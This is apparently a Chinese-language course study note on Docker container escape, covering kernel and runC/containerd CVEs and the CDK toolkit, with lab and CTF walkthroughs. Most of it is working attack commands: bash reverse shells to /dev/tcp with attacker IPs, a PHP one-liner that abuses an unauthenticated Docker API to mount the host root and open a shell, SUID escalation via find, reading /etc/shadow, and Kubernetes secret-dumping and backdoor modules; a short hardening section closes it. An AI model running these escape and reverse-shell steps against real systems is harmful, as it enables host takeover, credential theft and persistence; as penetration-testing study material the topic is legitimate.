云上攻防 — 云原生篇 & Docker安全 & 系统内核漏洞 & 版本漏洞 & CDK自动利用 & 容器逃逸
还是不要自己搭靶机了,想打就整台云服务器
上一篇是三种"配置不当"导致的容器逃逸:
这篇是另外的"漏洞"导致的逃逸:
核心区别:
| 类型 | 依赖条件 | 稳定性 |
|---|---|---|
| 配置不当 | 管理员配错了 | 实战中常见,但看运气 |
| 内核/版本漏洞 | 特定内核版本或Docker版本 | 只要版本对,100%成功 |
Docker 容器和宿主机共享同一个 Linux 内核。
┌─────────────────────────────────────┐ │ 宿主机 OS │ │ ┌─────────────────────────┐ │ │ │ Linux 内核 │ │ │ │ (容器和宿主共享它) │ │ │ └─────────────────────────┘ │ │ │ │ │ │ ┌────┘ └────┐ │ │ ▼ ▼ │ │ 容器A 容器B │ └─────────────────────────────────────┘
通俗解释:
课程中提到的几个经典漏洞:
| CVE编号 | 漏洞名称 | 影响版本 | 原理简述 |
|---|---|---|---|
| CVE-2016-5195 | DirtyCow(脏牛) | Linux 内核 < 4.8.3 | 竞态条件,让普通用户写入只读内存,进而提权 |
| CVE-2021-22555 | Netfilter 堆溢出 | Linux 内核 5.8-5.10 | 内核模块内存溢出,可执行任意代码 |
| CVE-2022-0847 | DirtyPipe(脏管) | Linux 内核 5.8-5.16 | 管道机制漏洞,可覆盖任意文件 |
| CVE-2022-0492 | cgroup v1 逃逸 | 特定内核配置 | 利用 cgroup 的 release_agent 机制逃逸 |
DirtyCow = Dirty Copy-On-Write
Copy-On-Write(COW,写时复制) 是 Linux 的一个内存优化机制:
漏洞原理: 内核在处理"写时复制"时有个竞态条件(Race Condition)。攻击者利用这个时机差,可以在内核还没完成权限检查的时候,把数据写入原本只读的内存区域。
通俗比喻: 想象图书馆有一本"只读"的珍贵书籍(系统关键文件)。正常情况下你只能看不能改。 DirtyCow 漏洞就像:你趁图书管理员转身的瞬间,快速把书里的内容改掉。管理员回头检查时,书已经被改了,但系统还以为这是"合法"的修改。
利用效果:
/etc/shadow、写入 SSH 公钥、替换系统程序bash# Step 1:确认内核版本
uname -r
# Step 2:用工具检测是否有已知漏洞
# 比如 linux-exploit-suggester
./linux-exploit-suggester.sh
# Step 3:下载对应 EXP(漏洞利用代码)
# GitHub 上搜 CVE-XXXX-XXXX PoC
# Step 4:编译并执行
gcc exp.c -o exp
./exp
# Step 5:拿到宿主机 root 权限
id
# uid=0(root) gid=0(root)
注意:内核漏洞利用通常需要编译环境(gcc),而且EXP可能不稳定,有崩溃风险。实战中优先用自动化工具(如CDK)。
Docker、Containerd、runC 这些软件本身也是代码写的,有代码就有Bug。
runC 是什么? runC 是 Docker 的底层容器运行时,负责真正创建和管理容器进程。Docker 只是"指挥官",runC 是"执行者"。
| 项目 | 内容 |
|---|---|
| 影响组件 | runC |
| 影响版本 | Docker <= 18.09.2,runC <= 1.0-rc6 |
| 危害 | 容器内的攻击者可以覆盖宿主机上的 runC 二进制文件,进而获取宿主机 root 权限 |
| 前提条件 | 需要管理员执行 docker exec 进入容器时触发 |
runC 在运行容器时,会加载容器内的某些动态链接库(libc 等)。
漏洞的核心逻辑:
docker exec 进入容器时,runC 会加载这个恶意文件通俗比喻:
这里装linux虚拟机Ubuntu Server 22.04.5来进行复现
参考文章:https://www.cnblogs.com/dbbull/p/21557531
使用metarget一键安装对docker版本进行降级https://github.com/Metarget/metarget
重大消息,22不行,得要18
bash# 1. 确认 Docker 版本(在宿主机上)
docker version
# Server Version: 18.06.1-ce ← 小于 18.09.2 就有漏洞
# 2. 下载 PoC
# https://github.com/Frichetten/CVE-2019-5736-PoC
# 3. 修改 PoC,填入反弹 shell 命令
# 修改 main.go 里的 payload:
# payload = "bash -c 'bash -i >& /dev/tcp/你的IP/4444 0>&1'"
# 4. 编译成二进制
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
# 5. 把编译好的 main 文件传到容器里
docker cp main 容器ID:/
# 6. 在容器里执行
chmod 777 main
./main
# 7. 等待管理员执行 docker exec 进入容器
# 一旦管理员执行:docker exec -it 容器ID /bin/bash
# 宿主机上的 runC 就会被覆盖
# 8. 攻击者监听端口,等待反弹 shell
nc -lvvp 4444
关键点:这个漏洞需要管理员配合(执行 docker exec),属于"钓鱼"型漏洞,实战中需要社工或等待运维操作。
| 项目 | 内容 |
|---|---|
| 影响组件 | containerd |
| 影响版本 | containerd < 1.4.3,containerd < 1.3.9 |
| 危害 | 容器内进程可以访问 containerd 的控制接口,创建新容器并挂载宿主机根目录 |
| 前提条件 | 容器启动时必须加了 --net=host 参数 |
containerd 有一个 shim 进程,负责管理容器的生命周期。正常情况下,shim 和容器之间通过 Unix Socket 通信,这个 Socket 应该是隔离的。
但如果容器用了 --net=host(共享宿主机网络命名空间),容器内的进程就能访问到宿主机上的 containerd-shim 的 Unix Socket。
攻击者利用这个 Socket,可以:
/bash# 1. 安装有漏洞的 Docker/Containerd 版本
# apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
# 2. 启动容器(必须加 --net=host)
docker run -itd --net=host ubuntu:18.04 /bin/bash
# 3. 进入容器
docker exec -it 容器ID /bin/bash
# 4. 上传 CDK 工具
docker cp cdk_linux_amd64 容器ID:/tmp
chmod 777 /tmp/cdk_linux_amd64
# 5. 用 CDK 自动利用
./cdk_linux_amd64 run shim-pwn reverse 你的IP 4444
# 6. 攻击者监听
nc -lvvp 4444
关键点:
--net=host是前提条件,没有这个参数启动的容器不受此漏洞影响。
CDK = Container DucK
GitHub 地址:https://github.com/cdk-team/CDK
它是一个零依赖的容器渗透测试工具包,专门为 Docker、Kubernetes、Containerd 设计。
通俗解释:
CDK 不支持内核漏洞(因为内核漏洞需要编译EXP,环境依赖复杂),但支持:
bash# 下载对应版本(容器内执行)
wget https://github.com/cdk-team/CDK/releases/download/v1.5.6/cdk_linux_amd64
chmod +x cdk_linux_amd64
版本选择:
cdk_linux_amd64 → Linux 64位(最常见)cdk_linux_arm64 → ARM64(树莓派、苹果M芯片)cdk_darwin_amd64 → Mac Intelcdk_darwin_arm64 → Mac M芯片bash./cdk evaluate
这个命令会输出:
[Information Gathering - System Info] 系统基本信息

当前目录是根目录 / 当前用户是 root,UID=0(Linux里0就是最高权限),GID=0,家目录 /root 主机名是 e8998be28746,这是 Docker 容器的 ID 前12位。 操作系统是 Alpine Linux 3.24.1(一个非常精简的Linux发行版),内核版本是 6.12.38,基于 Kali 的 amd64 架构。
[Information Gathering - Services] 服务信息

为空,容器里没有运行什么特殊服务(比如 sshd、mysql 之类的)。
[Information Gathering - Commands and Capabilities] 权限和能力(重点!) 输出解读:
[*] Maybe you can exploit the Capabilities below: [!] CAP_DAC_READ_SEARCH enabled. You can read files from host. [!] CAP_SYS_MODULE enabled. You can escape via loading kernel module. Critical - SYS_ADMIN Capability Found.

五个值分别代表:
CapInh = Inheritable(可继承的) CapPrm = Permitted(允许的) CapEff = Effective(实际生效的) CapBnd = Bounding(边界限制,上限) CapAmb = Ambient(环境变量传递的)4 CAP_CHOWN:修改文件所有者 CAP_DAC_OVERRIDE:绕过文件读/写/执行权限检查 CAP_DAC_READ_SEARCH:绕过文件读权限和目录搜索权限 CAP_NET_ADMIN:网络管理(配IP、开网卡) CAP_SYS_MODULE:加载/卸载内核模块 CAP_SYS_ADMIN:万能权限,相当于"超级root" CAP_SYS_PTRACE:调试其他进程 ...等等
看到 Critical 级别的提示,说明有高危权限,可以尝试逃逸。
| CDK提示 | 人话解释 |
|---|---|
CAP_DAC_READ_SEARCH enabled | 你可以绕过文件权限检查,直接读宿主机上的任意文件(比如 /etc/shadow) |
CAP_SYS_MODULE enabled | 你可以往内核里加载模块(比如 rootkit),直接控制宿主机 |
Critical - SYS_ADMIN Capability Found | 最高危! 你可以 mount 挂载磁盘、修改 cgroup,这是容器逃逸的"万能钥匙" |
[Information Gathering - Mounts] 挂载信息(重点!)

[Information Gathering - Net Namespace] 网络命名空间
[Information Gathering - Sysctl Variables] 系统变量
[Information Gathering - DNS-Based Service Discovery] DNS 服务发现
网络命名空间是独立的(容器有自己的网卡、IP、路由表)。
内核参数 route_localnet=0,表示不允许把 127.0.0.0/8 的流量路由到外部网络。这是安全设置。
CDK 尝试查找 Kubernetes 的 CoreDNS 服务,但失败了。说明这个环境不是 K8s 集群,或者 K8s 的 DNS 不可达。

[Discovery - Cloud Provider Metadata API] 云服务商元数据 API

CDK 尝试连接各大云服务商的元数据 API(比如阿里云、AWS、腾讯云等),全部失败。
等等,这里不过多阐述
bash# 特权模式 - 挂载磁盘
./cdk run mount-disk
# Containerd shim 漏洞(CVE-2020-15257)
./cdk run shim-pwn reverse 你的IP 端口
# 检查 runC 漏洞(CVE-2019-5736)
./cdk run check-runc-cve-2019-5736
# 利用 CAP_DAC_READ_SEARCH 读取宿主机文件
./cdk run cap-dac-read-search
# 重写 cgroup devices
./cdk run rewrite-cgroup-devices
特权模式挂载


反弹shell
bash./cdk run reverse-shell ip:端口

但是这里的shell是容器内的shell,不是宿主机的

cap-dac-read-search读取
bash# 读宿主机 /etc/shadow
./cdk run cap-dac-read-search /etc/hostname /etc/shadow
# 或者直接 chroot 进宿主机弹 shell
./cdk run cap-dac-read-search /etc/hostname / "/bin/bash -c 'bash -i >& /dev/tcp/165.99.42.26/5555 0>&1'"

bash# Step 1:进入目标容器(假设已拿到 Webshell 或 RCE)
# Step 2:下载 CDK
wget https://github.com/cdk-team/CDK/releases/download/v1.5.6/cdk_linux_amd64
chmod +x cdk_linux_amd64
# Step 3:运行信息收集
./cdk evaluate
# Step 4:根据 evaluate 结果,选择逃逸方式
# 如果看到 SYS_ADMIN + mount-disk 推荐:
./cdk run mount-disk
# Step 5:进入挂载的宿主机文件系统
chroot /host
bash -c 'bash -i >& /dev/tcp/你的IP/4444 0>&1'
这里因为交互问题,顺便试验下,上传一个大马
ls -al /发现有.dockerenv确定是docker环境

这里其实是想vshell反弹个交互shell的,结果上传不上去新版cdk和Stageless 反向客户端
只能使用他给的老版CDK 运行 evaluate --full 收集环境信息。

当前用户 www-data(uid=33),无特殊 capabilities(CapEff: 0)。
网络为 --net=host,共享宿主机网络栈。
发现 containerd-shim 抽象套接字(@/containerd-shim/...sock),意味着运行时为 containerd,且该套接字可触达
存在 SUID 程序:find、mount、su 等。
想直接suid提取后直接利用 CVE-2020-15257反弹宿主机shell,但是失败了
期望获得交互式 root shell,但因 nosuid 或 user namespace 问题,id 仍显示 uid=33
/usr/bin/find . -exec /bin/sh -p \; -quit

/usr/bin/find . -exec /usr/bin/id \; -quit
提示容器内 root 直接映射宿主机 root
以 root 执行
/usr/bin/find . -exec /var/www/html/cdk_linux_amd64 run shim-pwn reverse 192.168.111.25 5555 \; -quit
这里注意,使用的老版本cdk,新版要加reverse
进行端口扫描
netstat -tuln

发现2375端口,尝试利用
这里nndcdk没有docker-api-pwn模块,只能手动利用,没有curl和wegt使用php
查看镜像文件,看宿主机可用镜像有 ubuntu:18.04。
php -r 'echo file_get_contents("http://127.0.0.1:2375/images/json");'
用 PHP 单行命令调用 Docker API 创建容器并启动,执行反弹 shell,攻击机 ncat -lvnp 5555 收到宿主机 root shell
php -r '$p=json_encode(["Image"=>"ubuntu:18.04","Cmd"=>["bash","-c","bash -i >& /dev/tcp/192.168.111.25/5555 0>&1"],"HostConfig"=>["Binds"=>["/:/host"]]]); $r=file_get_contents("http://127.0.0.1:2375/containers/create",false,stream_context_create(["http"=>["method"=>"POST","header"=>"Content-Type: application/json","content"=>$p]])); $d=json_decode($r,true); if(isset($d["Id"])){ file_get_contents("http://127.0.0.1:2375/containers/".$d["Id"]."/start",false,stream_context_create(["http"=>["method"=>"POST"]])); echo "Container started: ".$d["Id"]; } else echo "Error: ".$r;'

接受并查找flag

读取flag,结束。


这是一个 Docker Registry 未授权访问漏洞 的练习靶场。
简单说,就是有一台服务器(192.168.111.20)上运行着 Docker 镜像仓库,但它的 5000 端口没有做任何权限校验,任何人都可以随意查看、拉取里面的镜像。
先扫下端口
用他给的工具试一下
或者直接访问
http://192.168.111.20:5000/v2/_catalog

然后下载镜像
打开其中一个json,获得flag?

然后是爆破,没啥好说的


| 逃逸方式 | 依赖条件 | 是否需要高权限 | 稳定性 | 实战价值 |
|---|---|---|---|---|
| 特权模式/危险挂载(第95天) | 管理员配置错误 | 需要容器内 root | ⭐⭐⭐⭐⭐ | 最常见 |
| 内核漏洞(第96天) | 特定内核版本 | 不需要(低权限也能用) | ⭐⭐⭐ | 看运气(版本要对) |
| Docker版本漏洞(第96天) | 特定Docker版本 + 特定启动参数 | 视漏洞而定 | ⭐⭐⭐⭐ | 版本对就100%成功 |
| CDK自动化 | 上述任意条件满足其一 | 自动适配 | ⭐⭐⭐⭐⭐ | 渗透必备工具 |
bash# 1. 及时更新内核
sudo apt update && sudo apt upgrade linux-image-generic
# 2. 启用自动安全更新
sudo apt install unattended-upgrades
# 3. 限制容器使用内核模块(禁止 CAP_SYS_MODULE)
docker run --cap-drop=SYS_MODULE -d myapp
bash# 1. 保持 Docker 和 containerd 更新到最新版
sudo apt update && sudo apt upgrade docker-ce containerd.io
# 2. 避免使用 --net=host(除非必要)
# 用端口映射代替:-p 8080:80
# 3. 避免使用旧版本 Docker
# 生产环境定期扫描组件版本
bash# 1. 禁用特权模式
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE -d myapp
# 2. 禁止挂载敏感目录
# 不要:-v /proc:/proc
# 不要:-v /var/run/docker.sock:/var/run/docker.sock
# 3. 启用 User Namespace
dockerd --userns-remap=default
# 4. 启用 Seccomp 和 AppArmor
docker run --security-opt seccomp=default.json --security-opt apparmor=docker-default -d myapp
| 检测项 | 命令/方法 |
|---|---|
| 检测特权容器 | docker ps --format "{{.Names}}" --filter "label=com.docker.compose.service" | xargs -I {} docker inspect --format='{{.Name}} {{.HostConfig.Privileged}}' {} |
| 检测危险挂载 | docker inspect 容器ID | grep -i "bind" |
| 检测异常进程 | 容器内出现 fdisk、mount、mkfs 等命令 |
| 检测内核版本 | uname -r,对比漏洞库 |
Docker容器逃逸(第96天) │ ├── 1. Linux内核漏洞逃逸 │ ├── 原理:容器和宿主机共享内核 │ ├── DirtyCow (CVE-2016-5195) │ ├── DirtyPipe (CVE-2022-0847) │ ├── Netfilter (CVE-2021-22555) │ └── 步骤:检测内核版本 → 下载EXP → 编译执行 → 提权 │ ├── 2. Docker/Containerd版本漏洞 │ ├── CVE-2019-5736 (runC) │ │ ├── 条件:Docker <= 18.09.2 │ │ ├── 前提:管理员执行 docker exec │ │ └── 原理:覆盖宿主机 runC 二进制 │ └── CVE-2020-15257 (containerd) │ ├── 条件:containerd < 1.4.3 │ ├── 前提:--net=host │ └── 原理:访问 shim socket 创建特权容器 │ └── 3. CDK自动化工具 ├── evaluate:信息收集 ├── auto-escape:全自动逃逸 └── run:指定漏洞利用 ├── mount-disk(特权模式挂载) ├── shim-pwn(containerd漏洞) └── cap-dac-read-search(读文件)
为什么内核漏洞逃逸不需要容器内是 root 权限?
提示:内核漏洞利用的是内核代码的Bug,绕过的是内核的权限检查,不是容器的权限。
CVE-2019-5736 和 CVE-2020-15257 有什么共同点?
提示:都需要特定条件触发,且都利用了容器运行时(runC/containerd)的设计缺陷。
CDK 为什么不支持内核漏洞自动化?
提示:内核漏洞利用需要编译环境、特定内核头文件,且可能导致系统崩溃,自动化难度大。
| 项目 | 说明 |
|---|---|
| 全称 | Container Drift Kit(也叫 Container DucK) |
| 定位 | 零依赖的容器渗透测试工具包 |
| 项目地址 | https://github.com/cdk-team/CDK |
| 核心特点 | 单文件、零依赖 —— 一个二进制文件丢进容器就能跑,不需要 apt/yum 装任何东西 |
| 适用场景 | 已拿下容器 Shell,需要进行信息收集、容器逃逸、K8s 横向移动 |
┌─────────────────────────────────────────────────────────────┐ │ CDK 三大模块 │ ├─────────────────┬─────────────────┬─────────────────────────┤ │ Evaluate │ Exploit │ Tool │ │ 信息收集/评估 │ 漏洞利用 │ 常用工具替代 │ ├─────────────────┼─────────────────┼─────────────────────────┤ │ • 系统信息 │ • 容器逃逸 │ • nc(网络工具) │ │ • Capabilities │ • K8s 持久化 │ • ps(进程查看) │ │ • 挂载分析 │ • 横向移动 │ • ifconfig(网卡信息) │ │ • 网络隔离 │ • 凭据窃取 │ • vi(文件编辑) │ │ • 敏感文件扫描 │ │ • probe(端口扫描) │ │ • K8s 信息探测 │ │ • kcurl(K8s API请求) │ └─────────────────┴─────────────────┴─────────────────────────┘
实战中,你拿下容器后经常发现里面连 curl、wget 都没有,咋把 CDK 丢进去?
如果你的漏洞利用过程允许上传文件(比如文件上传漏洞、WebShell),直接把 CDK 二进制文件传进去。
在你的公网 VPS 上执行(发送端):
bashnc -lvp 999 < cdk_linux_amd64
在目标容器里执行(接收端):
bashcat < /dev/tcp/你的VPS_IP/999 > cdk
chmod a+x cdk
💡 原理:
/dev/tcp/host/port是 Bash 的内置功能,不需要安装任何工具,只要有 Bash 就能用!
如果容器里有 curl:
bashcurl -o cdk http://你的VPS_IP/cdk
chmod a+x cdk
进入容器后,第一件事就是跑 cdk evaluate,让 CDK 自动帮你扫描容器内所有可利用的弱点。
bash./cdk evaluate
# 或简写
./cdk eva
它会自动检测以下内容:
| 检测类别 | 检测内容 | 有什么用 |
|---|---|---|
| OS 基本信息 | 内核版本、操作系统、当前用户 | 判断是否存在已知内核漏洞 |
| Capabilities | 容器拥有的 Linux 权限 | CAP_SYS_ADMIN = 可能特权容器;CAP_SYS_MODULE = 可加载内核模块逃逸 |
| 可用命令 | curl、wget、nc、python、kubectl 等 | 判断后续能用哪些工具 |
| 挂载情况 | 哪些宿主机目录被挂载进了容器 | /proc、/root、磁盘设备挂载 = 逃逸机会 |
| 网络 Namespace | 是否和宿主机共享网络 | --net=host 模式可能存在 CVE-2020-15257 |
| 环境变量 | 敏感配置、K8s 服务地址 | 可能泄露数据库密码、API 地址 |
| 敏感服务 | 本地运行的服务 | 发现未授权访问的服务 |
| K8s 信息 | 是否在 K8s Pod 中、ServiceAccount Token | 判断能否接管 K8s 集群 |
| 云厂商元数据 | AWS/Azure/阿里云/GCP 元数据 API | 可能获取云服务器临时凭证 |
bash./cdk evaluate --full
# 或
./cdk eva --full
比基础评估多了:
> ./cdk eva --full [*] Maybe you can exploit the *Capabilities* below: [!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' for exploitation. [!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'. Critical - Possible Privileged Container Found.
看到这种输出怎么办?
CAP_DAC_READ_SEARCH → 可以读宿主机文件 → 用 cdk run cap-dac-read-searchCAP_SYS_MODULE → 可以加载内核模块 → 用 cdk run mount-disk 或相关模块SYS_ADMIN / Privileged Container → 特权容器 → 用 cdk run mount-cgroup 等bash./cdk run --list
bash./cdk run <exploit名称> [参数]
| EXP 名称 | 适用条件 | 作用 |
|---|---|---|
mount-cgroup | 特权容器(--privileged) | 利用 cgroup 的 release_agent 机制执行宿主机命令 |
mount-disk | 特权容器,有设备操作权限 | 自动识别并挂载宿主机物理磁盘到容器内 |
rewrite-cgroup-devices | 有 SYS_ADMIN capability | 改写 cgroup 设备白名单逃逸 |
示例 —— 特权容器反弹 Shell:
bash./cdk run mount-cgroup "bash -c 'bash -i >& /dev/tcp/你的IP/9999 0>&1'"
| EXP 名称 | 适用条件 | 作用 |
|---|---|---|
cap-dac-read-search | 有 CAP_DAC_READ_SEARCH | 绕过文件权限检查,读取宿主机任意文件 |
cap-sys-module | 有 CAP_SYS_MODULE | 加载恶意内核模块逃逸 |
cap-sys-ptrace | 有 CAP_SYS_PTRACE | 注入其他进程内存执行代码 |
示例 —— 读取宿主机 /etc/shadow:
bash./cdk run cap-dac-read-search
| EXP 名称 | 适用条件 | 作用 |
|---|---|---|
mount-procfs | /proc 被挂载到容器 | 利用 procfs 挂载逃逸 |
lxcfs-rw | lxcfs 可写 | 利用 lxcfs 逃逸 |
lxcfs-rw-cgroup | lxcfs 可写 + cgroup | lxcfs + cgroup 组合逃逸 |
| EXP 名称 | 漏洞编号 | 适用条件 |
|---|---|---|
shim-pwn | CVE-2020-15257 | containerd < 1.4.3,且 --net=host |
runc-pwn | CVE-2019-5736 | Docker <= 18.09.2,RunC <= 1.0-rc6 |
copy-fail-cve-2026-31431 | CVE-2026-31431 | 非 root → root 提权(x86_64) |
示例 —— CVE-2020-15257 反弹 Shell:
bash./cdk run shim-pwn reverse 你的IP 监听端口
| EXP 名称 | 作用 |
|---|---|
etcd-get-k8s-token | 从 etcd 获取 K8s Token |
k8s-secret-dump | 导出 K8s Secrets |
k8s-configmap-dump | 导出 K8s ConfigMap |
k8s-get-sa-token | 获取 ServiceAccount Token(RBAC 绕过) |
k8s-backdoor-daemonset | 部署后门 DaemonSet |
k8s-shadow-apiserver | 部署影子 API Server |
k8s-mitm-clusterip | K8s MITM 攻击(CVE-2020-8554) |
k8s-cronjob | 部署恶意 CronJob |
webshell-deploy | 部署 WebShell |
bash./cdk auto-escape <要执行的命令>
CDK 会自动尝试多种逃逸方式,成功后执行你指定的命令。
容器里经常缺命令,CDK 自带了一些常用工具的替代实现:
bash# 查看网卡信息(类似 ifconfig)
./cdk ifconfig
# TCP 端口扫描(类似 nmap 简易版)
./cdk probe <IP范围> <端口范围> <并发数> <超时毫秒>
# 示例:扫描 10.0.1.0-255 的 80 和 8080-9443 端口,50并发,1秒超时
./cdk probe 10.0.1.0-255 80,8080-9443 50 1000
# NC 工具 —— 监听端口
./cdk nc -l -v -p 9999
# NC 工具 —— 连接目标
./cdk nc -h 目标IP -p 目标端口
bash# 查看进程(类似 ps -ef)
./cdk ps
# 查看网络连接(类似 netstat -antup)
./cdk netstat
# 编辑文件(类似 vi)
./cdk vi /etc/passwd
bash# 向 K8s API Server 发送请求
./cdk kcurl <path> (get|post) <uri> <data>
# 示例:
./cdk kcurl /api/v1/namespaces/default/pods get https://kubernetes.default.svc
# 向 Docker Unix Socket 发送请求
./cdk ucurl (get|post) <socket路径> <uri> <data>
# 示例:
./cdk ucurl get /var/run/docker.sock /containers/json
# 向 Docker HTTP API 发送请求
./cdk dcurl (get|post) <url> <data>
# 未授权枚举 etcd 键值
./cdk ectl <endpoint> get <key>
# 示例:
./cdk ectl http://etcd-server:2379 get / --prefix
┌──────────────────────────────────────────────────────────────┐ │ Step 1: 把 CDK 传入目标容器 │ │ ├─ 有文件上传 → 直接上传 │ │ └─ 只有命令执行 → /dev/tcp 方式传输 │ ├──────────────────────────────────────────────────────────────┤ │ Step 2: 信息收集(必做!) │ │ └─ ./cdk eva --full │ ├──────────────────────────────────────────────────────────────┤ │ Step 3: 看 evaluate 输出,找可利用点 │ │ ├─ 特权容器?→ mount-cgroup / mount-disk │ │ ├─ 有敏感 Cap?→ cap-dac-read-search / cap-sys-module │ │ ├─ 有挂载?→ mount-procfs │ │ ├─ 版本漏洞?→ shim-pwn / runc-pwn │ │ └─ 在 K8s 里?→ k8s-secret-dump / k8s-get-sa-token │ ├──────────────────────────────────────────────────────────────┤ │ Step 4: 执行对应的 EXP 逃逸 │ │ └─ ./cdk run <exp名称> [参数] │ ├──────────────────────────────────────────────────────────────┤ │ Step 5: 逃逸成功后,横向移动/持久化 │ │ ├─ K8s 环境 → 用 kcurl 操作 API │ │ ├─ 需要扫描 → 用 probe 扫内网 │ │ └─ 需要反弹 → 用 nc 建立隧道 │ └──────────────────────────────────────────────────────────────┘
CDK releases 页面提供了多个版本,怎么选?
| 版本 | 说明 | 适用场景 |
|---|---|---|
cdk_linux_amd64 | 标准版,功能最全 | 大多数情况用这就行 |
cdk_linux_amd64_thin | 精简版,体积更小 | 容器空间紧张时用 |
cdk_linux_amd64_upx | UPX 压缩版 | 需要更小体积 |
cdk_linux_amd64_thin_upx | 精简 + UPX 压缩 | 极致体积要求 |
cdk_linux_386 | 32 位版 | 目标系统是 32 位 |
cdk_linux_arm64 | ARM64 版 | 树莓派、ARM 服务器 |
💡 小白建议:下载
cdk_linux_amd64标准版即可,功能最全最稳。
Q1: 执行 ./cdk run xxx 没反应?
chmod a+x cdkuname -m 看是 x86_64 还是 aarch64Q2: 容器里没有 Bash,怎么传文件?
sh 是否支持 /dev/tcp:cat < /dev/tcp/IP/PORT > filepython -c "import urllib; urllib.urlretrieve('http://IP/cdk', 'cdk')"Q3: evaluate 输出看不懂?
Critical 和 [!] 标记的项Q4: 逃逸成功了,但反弹 Shell 没回来?
./cdk nc -h 你的IP -p 你的端口 测试连通性| 场景 | 命令 |
|---|---|
| 信息收集 | ./cdk eva --full |
| 列出所有 EXP | ./cdk run --list |
| 特权容器逃逸 | ./cdk run mount-cgroup "bash -i >& /dev/tcp/IP/PORT 0>&1" |
| 读宿主机文件 | ./cdk run cap-dac-read-search |
| 挂载磁盘逃逸 | ./cdk run mount-disk |
| CVE-2020-15257 | ./cdk run shim-pwn reverse IP PORT |
| K8s 凭据窃取 | ./cdk run k8s-secret-dump |
| 端口扫描 | ./cdk probe IP范围 端口范围 并发 超时 |
| 进程查看 | ./cdk ps |
| 网络查看 | ./cdk ifconfig / ./cdk netstat |
| NC 监听 | ./cdk nc -l -v -p PORT |
| K8s API 请求 | ./cdk kcurl /api/v1/namespaces/default/pods get URL |
⚠️ 法律声明:CDK 仅用于授权的安全测试。未经授权攻击他人系统是违法行为!